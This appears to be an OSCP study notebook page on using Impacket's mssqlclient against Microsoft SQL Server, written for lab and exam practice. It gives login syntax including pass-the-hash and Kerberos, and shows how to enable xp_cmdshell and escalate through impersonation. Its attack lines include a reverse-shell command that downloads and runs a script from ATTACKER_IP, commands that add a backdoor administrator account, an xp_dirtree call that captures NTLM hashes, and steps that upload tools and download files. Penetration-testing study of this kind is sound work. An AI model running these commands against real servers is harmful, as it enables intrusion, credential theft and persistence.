Pearson's OSCP Notebook

mssqlclient

Properties1
tagsimpacket, mssqlclient, mssql, sql-server, xp-cmdshell, 1433, database

4 min read

Impacket — mssqlclient

Ctrl+F: -windows-auth · upload · download · domain/user · sa · xp_cmdshell · -hashes · -k

External: Internal All The Things — MSSQL Enumeration

📌 START HERE — -windows-auth (exam-critical)

MSSQL supports two auth modes. Impacket defaults to SQL auth unless you pass -windows-auth.

Credential typeCommand
sa / SQL loginimpacket-mssqlclient sa:password@TARGET — no -windows-auth
Domain user / service accountimpacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
Pass-the-Hash (Windows)impacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-auth
Kerberos ticket-k -no-pass (see below) — not -windows-auth

Rule: domain/user, Kerberoasted svc_sql, or any AD cred on port 1433 → always add -windows-auth. Missing it = login fails even with valid password.

# Exam-style — domain service account on MSSQL
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.176.148 -windows-auth
 
# Same pattern — any domain user
impacket-mssqlclient corp.local/svc_sql:CrackedPassword@10.10.10.10 -windows-auth
impacket-mssqlclient sql_svc@10.10.10.10 -hashes ':8846f7eaee8fb117ad06bdd830b7586c' -windows-auth

→ Full MSSQL reference: MSSQL

What does mssqlclient do?

mssqlclient.py provides an interactive T-SQL shell on Microsoft SQL Server. With sufficient privileges, you can enable xp_cmdshell and execute OS commands.

Full MSSQL reference (Hydra, CrackMapExec, Nmap): see MSSQL. This note covers the Impacket client specifically.

Syntax

impacket-mssqlclient [domain/]user:password@TARGET [options]
# Domain / Windows cred → ALWAYS add -windows-auth
impacket-mssqlclient DOMAIN/user:password@TARGET -windows-auth
impacket-mssqlclient user@TARGET -hashes ':NT_HASH' -windows-auth
# SQL login (sa) → NO -windows-auth
impacket-mssqlclient sa:password@TARGET

📌 Flags

FlagDescription
-windows-authRequired for domain/Windows auth (NTLM). Omit for sa / SQL logins
-port PORTCustom port (default: 1433)
-hashes LM:NTPass-the-Hash
-dc-ip IPDomain Controller IP
-kKerberos
-no-passNo password
-file FILEInput file of SQL commands
-debugDebug output

📌 Connecting

# SQL authentication (sa account)
impacket-mssqlclient sa:password@10.10.10.10
impacket-mssqlclient sa@10.10.10.10          # prompt for password
 
# Windows / domain authentication — ALWAYS -windows-auth
impacket-mssqlclient DOMAIN/user:password@10.10.10.10 -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.176.148 -windows-auth
impacket-mssqlclient user@10.10.10.10 -hashes ':NT_HASH' -windows-auth
 
# Custom port
impacket-mssqlclient sa:password@10.10.10.10 -port 1434
 
# Kerberos (after getTGT / ticketer silver ticket)
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass signed.htb/Administrator@dc01.signed.htb -dc-ip 10.129.242.173
impacket-mssqlclient -k -no-pass signed.htb/Administrator@10.129.242.173 -dc-ip 10.129.242.173

→ Full Signed chain: OSCP/Sheet/Tools/Database/MSSQL > Silver ticket → MSSQL as Administrator (Signed chain) · Use Kerberos Ticket

📌 Interactive Commands (Inside SQL Shell)

-- Info
SELECT @@version;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
 
-- Enumerate
SELECT name FROM sys.databases;
USE dbname;
SELECT * FROM users;
 
SELECT * FROM INFORMATION_SCHEMA.TABLES
 
-- Enable xp_cmdshell (if sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 
-- Or use Impacket helper (if available in your version)
enable_xp_cmdshell
xp_cmdshell whoami
xp_cmdshell dir C:\

📌 Upload & Download (built-in — inside SQL shell)

Impacket mssqlclient has native file transfer — type these at the SQL prompt (not T-SQL). No xp_cmdshell needed.

CommandDescription
upload {from} {to}Upload from your Kali path to the SQL Server host
download {from} {to}Download from the SQL Server host to your Kali path
# Connect first
impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
# Inside mssqlclient prompt — push tool to target
SQL> upload /home/kali/tools/PrintSpoofer64.exe C:\\Users\\Public\\PrintSpoofer64.exe

# Pull loot back to Kali
SQL> download C:\\Users\\Administrator\\Desktop\\proof.txt /tmp/proof.txt
SQL> download C:\\Users\\user\\Desktop\\user.txt /tmp/user.txt

# Verify on target (optional)
SQL> xp_cmdshell dir C:\\Users\\Public\\

Tips:

  • Use Windows paths with escaped backslashes: C:\\Users\\Public\\file.exe
  • Paths on Kali are normal Linux paths: /tmp/file.exe
  • Requires a working SQL session (sysadmin not required for upload/download itself)
  • Target behind a pivot with no direct Kali route? → Ligolo-ng > 📌 File transfer through tunnel (listener + HTTP) instead

→ File Transfer · Ligolo-ng

📌 Impersonation (EXECUTE AS)

If you’re not sysadmin but have IMPERSONATE rights, escalate context before xp_cmdshell:

enum_impersonate           -- who can you impersonate?
exec_as_login sa           -- server-level: EXECUTE AS LOGIN = 'sa'
exec_as_user dbo           -- db-level: EXECUTE AS USER = 'dbo'

-- After exec_as_login / exec_as_user:
enable_xp_cmdshell
xp_cmdshell whoami
 
-- Return to original identity
REVERT

Full T-SQL + privesc context → OSCP/Sheet/Tools/Database/MSSQL > EXECUTE AS — impersonation (privesc / lateral)

📌 OS Command Execution

-- Basic
xp_cmdshell 'whoami'
xp_cmdshell 'ipconfig'
xp_cmdshell 'type C:\Users\user\Desktop\flag.txt'
 
-- Reverse shell
xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER_IP/shell.ps1 -UseBasicParsing)"'
 
-- Add admin user
xp_cmdshell 'net user hacker P@ss123 /add'
xp_cmdshell 'net localgroup administrators hacker /add'

📌 NTLM Hash Capture (xp_dirtree)

Force SQL Server to authenticate to your Responder/SMB listener:

EXEC master..xp_dirtree '\\ATTACKER_IP\share', 1, 1;

Run Responder on attacker while executing this.

📌 Quick Cheat Sheet

# ─── CONNECT ──────────────────────────────────────────────────
impacket-mssqlclient sa:password@TARGET                    # SQL auth — no -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth
impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
impacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-auth
 
# ─── CONNECT (KERBEROS) ───────────────────────────────────────
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass signed.htb/Administrator@dc01.signed.htb -dc-ip DC_IP
 
# ─── IN SHELL ─────────────────────────────────────────────────
enable_xp_cmdshell
xp_cmdshell whoami
upload /home/kali/tools/PrintSpoofer64.exe C:\\Users\\Public\\PrintSpoofer64.exe
download C:\\Users\\Administrator\\Desktop\\proof.txt /tmp/proof.txt
xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER/shell.ps1)"'
 
# ─── NTLM CAPTURE ─────────────────────────────────────────────
# SQL> EXEC master..xp_dirtree '\\ATTACKER_IP\share', 1, 1;

Graph View

Backlinks